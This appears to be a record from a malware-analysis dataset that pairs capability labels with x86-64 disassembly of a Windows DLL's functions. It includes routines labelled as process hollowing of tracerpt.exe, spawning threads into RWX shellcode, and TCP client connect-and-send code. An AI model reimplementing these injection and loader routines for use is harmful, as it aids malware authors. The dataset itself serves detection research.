joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800014f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Resolve dns
Set socket configuration

Disassembly:
push rbp
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x98
mov rax, qword [0x180027190]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rax, qword [rcx]
mov r12d, r8d
mov r13, rdx
mov rsi, rcx
call qword [rax]
mov rcx, qword [rsi + 0x68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r14d, r14d
mov eax, r14d
xchg dword [rsi + 0x74], eax
call qword [sym.imp.WINMM.dll_timeGetTime]
mov ebp, 1
mov dword [rsi + 0x70], eax
xor eax, eax
mov r15d, 2
mov qword [rsi + 0x80], rax
mov word [rsi + 0x88], ax
mov rax, qword [rsi + 0x70]
lea r8d, [r14 + 6]
mov edx, ebp
mov ecx, r15d
mov qword [rsi + 0x80], rax
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsi + 0x98], rax
cmp rax, 0xffffffffffffffff
jne 0x180001587
xor al, al
jmp 0x180001723
mov rcx, r13
mov qword [rsp + 0xe8], rbx
mov qword [rsp + 0x90], rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov r8, r13
xor edx, edx
xor ecx, ecx
mov r9d, eax
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
lea ecx, [rbx + 1]
movsxd rcx, ecx
call fcn.18000c254
mov rcx, r13
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov r8, r13
xor edx, edx
mov r9d, eax
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rdi
mov byte [rbx + rdi], r14b
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, rdi
mov rbx, rax
call fcn.18000c184
mov rdi, qword [rsp + 0x90]
test rbx, rbx
je 0x180001665
movzx ecx, r12w
mov word [rsp + 0x70], r15w
call qword [sym.imp.WS2_32.dll_htons]
lea rdx, [rsp + 0x70]
mov r8d, reloc.WS2_32.dll_recv
mov word [rsp + 0x72], ax
mov rax, qword [rbx + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov rcx, qword [rsi + 0x98]
mov dword [rsp + 0x74], eax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x18000166c
xor al, al
jmp 0x18000171b
mov rcx, qword [rsi + 0x98]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 8
mov dword [rsp + 0x50], ebp
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x1800016e8
mov rcx, qword [rsi + 0x98]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
lea rax, [rsp + 0x58]
lea r8, [rsp + 0x60]
mov r9d, ntohs
mov qword [rsp + 0x30], rax
mov edx, 0x98000004
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov dword [rsp + 0x60], ebp
mov dword [rsp + 0x64], 0x2bf20
mov dword [rsp + 0x68], 0x1388
call qword [sym.imp.WS2_32.dll_WSAIoctl]
xchg dword [rsi + 0x74], ebp
lea rax, [rsp + 0x54]
lea r8, [0x180001750]
mov qword [rsp + 0x28], rax
mov r9, rsi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x54], r14d
mov dword [rsp + 0x20], r14d
call fcn.18000c3c8
mov qword [rsi + 0x90], rax
mov al, 1
mov rbx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.18000be20
add rsp, 0x98
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rbp
ret
Function at 0x180001a80
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
xor edi, edi
mov r14d, r8d
mov rsi, rdx
mov r13, rcx
mov ebp, r8d
mov r12d, edi
cmp r8d, 0x40000
jl 0x180001b11
nop dword [rax + rax]
mov ebx, edi
nop word [rax + rax]
mov rcx, qword [r13 + 0x98]
xor r9d, r9d
mov r8d, 0x40000
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x180001af4
inc ebx
cmp ebx, 0xf
jl 0x180001ad0
cmp ebx, 0xf
je 0x180001b72
sub ebp, 0x40000
add r12d, eax
add rsi, 0x40000
cmp ebp, 0x40000
jge 0x180001ac0
test ebp, ebp
jle 0x180001b49
nop word [rax + rax]
mov rcx, qword [r13 + 0x98]
xor r9d, r9d
mov r8d, ebp
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x180001b41
inc edi
cmp edi, 0xf
jl 0x180001b20
cmp edi, 0xf
je 0x180001b72
add r12d, eax
or eax, 0xffffffff
cmp r12d, r14d
cmove eax, r12d
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
or eax, 0xffffffff
jmp 0x180001b53

Function at 0x180002080
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x30
mov rbx, rcx
mov rcx, qword [rcx + 0x68]
mov esi, r8d
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rbx + 0xa8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.WINMM.dll_timeGetTime]
xor r12d, r12d
mov dword [rbx + 0x70], eax
mov eax, r12d
xchg dword [rbx + 0x74], eax
xor eax, eax
mov qword [rbx + 0x80], rax
mov word [rbx + 0x88], ax
mov rax, qword [rbx + 0x70]
mov rcx, qword [rbx + 0xa0]
mov qword [rbx + 0x80], rax
mov rax, qword [rcx + 8]
add rcx, 8
call qword [rax + 0x50]
cmp eax, 3
je 0x180002108
mov rcx, qword [rbx + 0xa0]
mov rax, qword [rcx + 8]
add rcx, 8
call qword [rax + htons]
mov rcx, qword [rbx + 0xa0]
mov edi, 1
movzx r8d, si
mov rax, qword [rcx + 8]
add rcx, 8
mov rdx, rbp
mov r9d, edi
mov word [rsp + 0x28], r12w
mov qword [rsp + 0x20], r12
call qword [rax]
mov rcx, qword [rbx + 0xa8]
mov edx, 0x1770
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x180002166
cmp eax, 0x102
je 0x180002155
cmp eax, 0xffffffff
jne 0x180002162
mov rcx, qword [rbx + 0xa8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x1800021a1
xchg dword [rbx + 0x74], edi
mov rcx, qword [rbx + 0xa8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea r11, [rsp + 0x50]
lea r8, [0x1800021c0]
mov qword [rsp + 0x28], r11
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call fcn.18000c3c8
mov qword [rbx + 0xb0], rax
mov al, 1
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
Function at 0x180002b00
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbp
push rdi
sub rsp, 0xa80
cmp dword [0x18002cab8], 0
mov rbp, rdx
mov rdi, rcx
jg 0x180002cf6
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
cmp r8d, 1
jne 0x180002c52
cmp dword [rcx + 0x12c], 0
jne 0x180002ce6
mov eax, r8d
xor esi, esi
xor edx, edx
xchg dword [rcx + 0x12c], eax
mov eax, 0x767b
lea rcx, [rsp + 0x4e]
mov word [rsp + 0x34], ax
mov eax, 0x5f55
mov r8d, 0x1e4
mov word [rsp + 0x36], ax
mov eax, 0x6a21
mov dword [rsp + 0x30], esi
mov word [rsp + 0x38], ax
mov eax, 0x5757
lea ebx, [rsi + 0x64]
mov word [rsp + 0x3a], ax
mov eax, 0x5f
mov dword [rsp + 0x3c], 0x64002e
mov word [rsp + 0x44], ax
mov eax, 0x62
mov dword [rsp + 0x40], 0x6c006c
mov word [rsp + 0x46], ax
mov eax, 0x69
mov dword [rsp + 0x4a], WSASetLastError
mov word [rsp + 0x48], ax
call fcn.18000d5f0
xor r11d, r11d
lea rcx, [rsp + 0x23c]
mov r8d, ebx
xor edx, edx
mov word [rsp + 0x232], r11w
mov qword [rsp + 0x234], 1
call fcn.18000d5f0
lea rcx, [rsp + 0x2a0]
xor edx, edx
mov r8d, 0x7d0
call fcn.18000d5f0
xor r11d, r11d
mov ecx, 0xa45
mov dword [rsp + 0xa70], r11d
call fcn.18000c4f4
lea rdx, [rsp + 0x30]
lea rcx, [rax + 1]
mov r8d, 0xa44
mov rbx, rax
mov byte [rax], 4
call fcn.18000be50
mov rcx, qword [rdi + 8]
mov r9, qword [rcx]
mov r8d, 0xa45
mov rdx, rbx
call qword [r9 + reloc.WS2_32.dll_recv]
mov rcx, rbx
call fcn.18000c184
jmp 0x180002ce6
xor esi, esi
mov dword [rcx + 0x130], 1
mov r8d, 0xa44
mov eax, esi
cmp dword [rcx + 0x134], eax
lea rcx, [0x18002a6f0]
setne al
inc rdx
inc eax
mov dword [0x18002cab8], eax
call fcn.18000be50
movsxd rdx, dword [0x18002a8f8]
lea r9d, [rsi + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsxd r8, dword [0x18002a8f8]
lea rdx, [rbp + 0xa45]
mov rcx, rax
mov rbx, rax
call fcn.18000be50
lea r8, [0x180002940]
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call fcn.18000c3c8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rdi + 8]
mov rax, qword [rcx]
call qword [rax]
mov rbx, qword [rsp + 0xa90]
mov rsi, qword [rsp + 0xa98]
mov rbp, qword [rsp + 0xaa0]
add rsp, 0xa80
pop rdi
ret
Function at 0x180002d10
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Resume thread
Use process replacement

Disassembly:
push rbx
push rbp
push rdi
push r12
sub rsp, 0x6a8
mov rax, qword [0x180027190]
xor rax, rsp
mov qword [rsp + 0x690], rax
movsxd rdi, edx
xor edx, edx
mov rbx, r8
mov rbp, rcx
lea rcx, [rsp + 0x50]
lea r8d, [rdx + 0x68]
call fcn.18000d5f0
xor r11d, r11d
lea rcx, [rsp + 0xc0]
mov qword [rbx], r11
mov qword [rbx + 8], r11
xor edx, edx
mov r8d, 0x4d0
mov qword [rbx + 0x10], r11
call fcn.18000d5f0
xor r12d, r12d
lea rcx, [rsp + 0x591]
xor edx, edx
mov r8d, 0xfe
mov dword [rsp + 0x50], WSAGetLastError
mov dword [rsp + 0x8c], 1
mov word [rsp + 0x90], r12w
mov byte [rsp + 0x590], r12b
call fcn.18000d5f0
lea rcx, [rsp + 0x590]
mov edx, 0xff
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r9, str.WindowsSystem32_tracerpt.exe
lea r8, [rsp + 0x590]
lea rdx, str._s_s
lea rcx, [rsp + 0x590]
mov byte [rsp + 0x593], r12b
call fcn.180002fa0
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0x590]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180002ecd
mov rcx, qword [rbx]
mov r9d, 0x3000
mov r8, rdi
xor edx, edx
mov qword [rsp + 0x6a0], rsi
mov dword [rsp + 0x20], 0x40
mov rsi, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x180002eb2
mov rcx, qword [rbx]
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180002eb2
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0xc0]
mov dword [rsp + 0xf0], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x180002eb2
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0xc0]
mov qword [rsp + 0x1b8], rdi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x180002eb6
xor eax, eax
jmp 0x180002ec5
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov rsi, qword [rsp + 0x6a0]
mov rcx, qword [rsp + 0x690]
xor rcx, rsp
call fcn.18000be20
add rsp, 0x6a8
pop r12
pop rdi
pop rbp
pop rbx
ret

Function at 0x180003f90
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x18000400f
cmp qword [0x18002cac0], 0
jne 0x18000400f
lea rcx, str.1:js0:4t1436:4o2.1.861.291:4p0:lk0:hs0:ld0:ll0:hb0:xs0:pj82.21.3202:zb0.1:bb
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x32
jle 0x18000400f
call fcn.180003300
cmp dword [0x18002be10], 0
je 0x18000400f
mov qword [rsp + 0x30], rbx
xor ebx, ebx
lea r8, [0x180003ab0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, [0x180003d90]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov qword [0x18002cac0], rax
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, qword [rsp + 0x30]
mov eax, 1
add rsp, 0x38
ret
Function at 0x180004020
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp qword [0x18002cac0], 0
jne 0x18000409d
mov qword [rsp + 0x30], rbx
call fcn.180003300
xor ebx, ebx
lea r8, [0x180003ab0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, [0x180003d90]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov qword [0x18002cac0], rax
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [0x18002cac0]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x18002cac0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x38
ret

Function at 0x1800040b0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
cmp qword [0x18002cac0], 0
mov rbx, rcx
jne 0x180004148
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, str.1:js0:4t1436:4o2.1.861.291:4p0:lk0:hs0:ld0:ll0:hb0:xs0:pj82.21.3202:zb0.1:bb
mov rdx, rbx
lea eax, [rax + rax + 2]
movsxd r8, eax
call fcn.18000be50
call fcn.180003300
xor ebx, ebx
lea r8, [0x180003ab0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, [0x180003d90]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov qword [0x18002cac0], rax
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [0x18002cac0]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x18002cac0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x30
pop rbx
ret

Function at 0x1800049c0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x180006160
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1002
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x1800049d0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x180006190
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x180006160
Capabilities:
Set socket configuration

Disassembly:
jmp 0x180006160
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1002
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x180006190
Capabilities:
Set socket configuration

Disassembly:
jmp 0x180006190
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret
Function at 0x1800061c0
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x48], 0
test edx, edx
jne 0x1800061e8
lea r9, [rsp + 0x50]
jmp 0x1800061f2
cmp edx, 1
jne 0x18000623b
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov dword [rsp + 0x20], 4
mov ebx, eax
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
cmp edx, 2
jne 0x18000628e
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov ebx, eax
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbx, qword [rsp + 0x40]
or eax, 0xffffffff
add rsp, 0x30
pop rdi
ret

Function at 0x180006680
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x50
xor ebx, ebx
mov rdi, r8
mov rsi, rdx
mov r12, r9
mov dword [rax - 0x38], 0x1c
lea r8, [rax - 0x38]
mov word [rax - 0x30], bx
lea rdx, [rax - 0x30]
cmp dword [rsp + 0x80], ebx
je 0x1800066c4
call qword [sym.imp.WS2_32.dll_getsockname]
jmp 0x1800066ca
call qword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x1800066d2
xor eax, eax
jmp 0x18000674d
movzx ecx, word [rsp + 0x2a]
mov qword [rsp + 0x60], rbp
movzx ebp, word [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_ntohs]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x2c]
mov word [r12], ax
movzx eax, word [rsp + 0x28]
movsxd r9, dword [rdi]
cmp eax, 2
mov r8, rsi
cmovne rdx, rcx
mov ecx, eax
call sub.WS2_32.dll_InetNtopW
test rax, rax
je 0x180006728
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, 1
inc eax
mov dword [rdi], eax
jmp 0x180006746
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x57
jne 0x180006746
mov ecx, 0x2e
mov eax, reloc.WS2_32.dll_recv
cmp bp, 2
cmove ecx, eax
mov dword [rdi], ecx
mov rbp, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
Function at 0x1800068d0
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
movzx eax, word [r8]
mov rdi, r8
movzx ebx, dx
mov r10, rcx
cmp ax, 2
je 0x1800065f2
cmp ax, 0x17
je 0x1800065eb
mov ecx, 0x2741
call qword [sym.imp.WS2_32.dll_WSASetLastError]
xor eax, eax
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov ecx, 0x1c
jmp 0x1800065f7
mov ecx, reloc.WS2_32.dll_recv
movzx edx, ax
lea rax, [rsp + 0x50]
mov dword [rsp + 0x50], ecx
mov r9, r8
mov rcx, r10
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_WSAStringToAddressW]
test eax, eax
jne 0x1800065de
test bx, bx
je 0x18000662d
movzx ecx, bx
call qword [sym.imp.WS2_32.dll_htons]
mov word [rdi + 2], ax
mov eax, 1
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x100
mov rax, qword [0x180027190]
xor rax, rsp
mov qword [rsp + 0xf0], rax
xor eax, eax
mov rsi, r8
mov rbx, rcx
mov qword [r8 + 2], rax
mov qword [r8 + 0xa], rax
mov qword [r8 + 0x12], rax
mov word [r8 + 0x1a], ax
movzx ebp, dx
lea rcx, [rsp + 0x2c]
lea r8d, [rax + 0x2c]
xor edi, edi
xor edx, edx
mov qword [rsp + 0x20], rdi
call fcn.18000d5f0
movzx eax, word [rsi]
mov dword [rsp + 0x2c], eax
lea rax, [rsp + 0x68]
lea r8d, [rdi + 3]
lea rcx, [rsp + 0x60]
mov rdx, rbx
mov dword [rsp + 0x28], 0xc00
mov qword [rsp + 0x60], rax
call fcn.180006790
mov rcx, qword [rsp + 0x60]
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x28]
xor edx, edx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov rcx, qword [rsp + 0x60]
mov ebx, eax
lea rax, [rsp + 0x68]
cmp rcx, rax
je 0x18000697b
call fcn.18000cdec
test ebx, ebx
je 0x18000698b
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_WSASetLastError]
xor eax, eax
jmp 0x1800069ee
mov rbx, qword [rsp + 0x20]
mov rdx, rbx
test rbx, rbx
je 0x1800069c5
mov eax, dword [rdx + 4]
cmp eax, 2
je 0x1800069b0
cmp eax, 0x17
je 0x1800069b0
mov rdx, qword [rdx + 0x28]
test rdx, rdx
jne 0x180006998
jmp 0x1800069c5
mov r8, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
mov rcx, rsi
call fcn.18000be50
mov edi, 1
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
test edi, edi
je 0x1800069e1
movzx ecx, bp
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsi + 2], ax
jmp 0x1800069ec
mov ecx, 0x2af9
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov eax, edi
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.18000be20
mov rbx, qword [rsp + 0x138]
add rsp, 0x100
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, r8
movzx esi, dx
mov rdi, rcx
call fcn.180006070
mov r8, rbx
movzx edx, si
mov word [rbx], ax
mov rcx, rdi
test ax, ax
je 0x180006a62
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp 0x1800065b0
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp 0x1800068d0
Function at 0x180006a20
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
movzx eax, word [r8]
mov rdi, r8
movzx ebx, dx
mov r10, rcx
cmp ax, 2
je 0x1800065f2
cmp ax, 0x17
je 0x1800065eb
mov ecx, 0x2741
call qword [sym.imp.WS2_32.dll_WSASetLastError]
xor eax, eax
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov ecx, 0x1c
jmp 0x1800065f7
mov ecx, reloc.WS2_32.dll_recv
movzx edx, ax
lea rax, [rsp + 0x50]
mov dword [rsp + 0x50], ecx
mov r9, r8
mov rcx, r10
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_WSAStringToAddressW]
test eax, eax
jne 0x1800065de
test bx, bx
je 0x18000662d
movzx ecx, bx
call qword [sym.imp.WS2_32.dll_htons]
mov word [rdi + 2], ax
mov eax, 1
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x100
mov rax, qword [0x180027190]
xor rax, rsp
mov qword [rsp + 0xf0], rax
xor eax, eax
mov rsi, r8
mov rbx, rcx
mov qword [r8 + 2], rax
mov qword [r8 + 0xa], rax
mov qword [r8 + 0x12], rax
mov word [r8 + 0x1a], ax
movzx ebp, dx
lea rcx, [rsp + 0x2c]
lea r8d, [rax + 0x2c]
xor edi, edi
xor edx, edx
mov qword [rsp + 0x20], rdi
call fcn.18000d5f0
movzx eax, word [rsi]
mov dword [rsp + 0x2c], eax
lea rax, [rsp + 0x68]
lea r8d, [rdi + 3]
lea rcx, [rsp + 0x60]
mov rdx, rbx
mov dword [rsp + 0x28], 0xc00
mov qword [rsp + 0x60], rax
call fcn.180006790
mov rcx, qword [rsp + 0x60]
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x28]
xor edx, edx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov rcx, qword [rsp + 0x60]
mov ebx, eax
lea rax, [rsp + 0x68]
cmp rcx, rax
je 0x18000697b
call fcn.18000cdec
test ebx, ebx
je 0x18000698b
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_WSASetLastError]
xor eax, eax
jmp 0x1800069ee
mov rbx, qword [rsp + 0x20]
mov rdx, rbx
test rbx, rbx
je 0x1800069c5
mov eax, dword [rdx + 4]
cmp eax, 2
je 0x1800069b0
cmp eax, 0x17
je 0x1800069b0
mov rdx, qword [rdx + 0x28]
test rdx, rdx
jne 0x180006998
jmp 0x1800069c5
mov r8, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
mov rcx, rsi
call fcn.18000be50
mov edi, 1
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
test edi, edi
je 0x1800069e1
movzx ecx, bp
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsi + 2], ax
jmp 0x1800069ec
mov ecx, 0x2af9
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov eax, edi
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.18000be20
mov rbx, qword [rsp + 0x138]
add rsp, 0x100
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, r8
movzx esi, dx
mov rdi, rcx
call fcn.180006070
mov r8, rbx
movzx edx, si
mov word [rbx], ax
mov rcx, rdi
test ax, ax
je 0x180006a62
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp 0x1800065b0
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp 0x1800068d0
Function at 0x180009180
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov eax, dword [rdx + 0x14]
mov rbx, rcx
test eax, eax
je 0x1800091b0
mov dword [rcx + 0x20], eax
mov dword [rcx + 0x18], 1
mov dword [rcx + 0x1c], 2
xor eax, eax
mov dword [rcx + 0x24], 1
add rsp, 0x20
pop rbx
ret
mov rdx, qword [rcx + 0x30]
mov rcx, qword [rcx + 0x28]
mov r8d, 0x23
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x1800091ef
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rbx + 0x18], 1
mov dword [rbx + 0x1c], 2
mov dword [rbx + 0x24], 1
mov dword [rbx + 0x20], eax
xor eax, eax
add rsp, 0x20
pop rbx
ret
mov dword [rbx + 0x68], 1
